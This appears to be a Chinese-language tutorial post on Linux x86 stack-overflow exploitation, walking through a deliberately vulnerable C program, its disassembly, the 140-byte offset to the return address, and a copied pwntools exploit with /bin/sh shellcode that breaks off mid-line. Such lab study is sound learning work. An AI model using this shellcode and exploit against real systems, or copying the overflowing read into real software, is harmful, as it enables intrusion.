1.概述
通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列
一步一步学ROP之linux_x86篇 – 蒸米
蒸米大神的文章,是实战类型,里面有不少细节的东西,对于我这种没有基础的人来讲,如果不理解是很容易忘记的,因此进行原理上的学习探索
环境:ubuntu 16.04
编译需要在原来的基础上添加-m32参数
2 一步一步的调试并解决疑问
2.1 源代码(蒸米)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
2.2 汇编代码
0x08048460 <+0>: lea ecx,[esp+0x4]
0x08048464 <+4>: and esp,0xfffffff0
0x08048467 <+7>: push DWORD PTR [ecx-0x4]
0x0804846a <+10>: push ebp
0x0804846b <+11>: mov ebp,esp
0x0804846d <+13>: push ecx
0x0804846e <+14>: sub esp,0x4
0x08048471 <+17>: call 0x804843b <vulnerable_function>
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x88///这是88的关键
0x08048444 <+9>: sub esp,0x4
0x08048447 <+12>: push 0x100
0x0804844c <+17>: lea eax,[ebp-0x88]
0x08048452 <+23>: push eax
0x08048453 <+24>: push 0x0
0x08048455 <+26>: call 0x8048300 <read@plt>
0x0804845a <+31>: add esp,0x10
0x0804845d <+34>: nop
0x0804845e <+35>: leave
0x0804845f <+36>: ret
0x08048476 <+22>: sub esp,0x4
0x08048479 <+25>: push 0xd
0x0804847b <+27>: push 0x8048520
0x08048480 <+32>: push 0x1
0x08048482 <+34>: call 0x8048320 <write@plt>
0x08048487 <+39>: add esp,0x10
0x0804848a <+42>: mov eax,0x0
0x0804848f <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x08048492 <+50>: leave
0x08048493 <+51>: lea esp,[ecx-0x4]
0x08048496 <+54>: ret
2.3 level1 调试细节
2.3.1为什么是溢出点140个字节
通过画堆栈图,对比在read执行之前和执行之后的堆栈变化,进行计算
140个字节就是0xffffd52c - 0xffffd4a0 = 140
而Ret的地址为0xffffd52c----0xffffd530之间的四个字节
所以覆盖返回地址要 140 + ret
2.3.2 level1中的ret是什么,如何计算出来
直接copy 蒸米大神的漏洞利用exp
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff290
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
# 对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)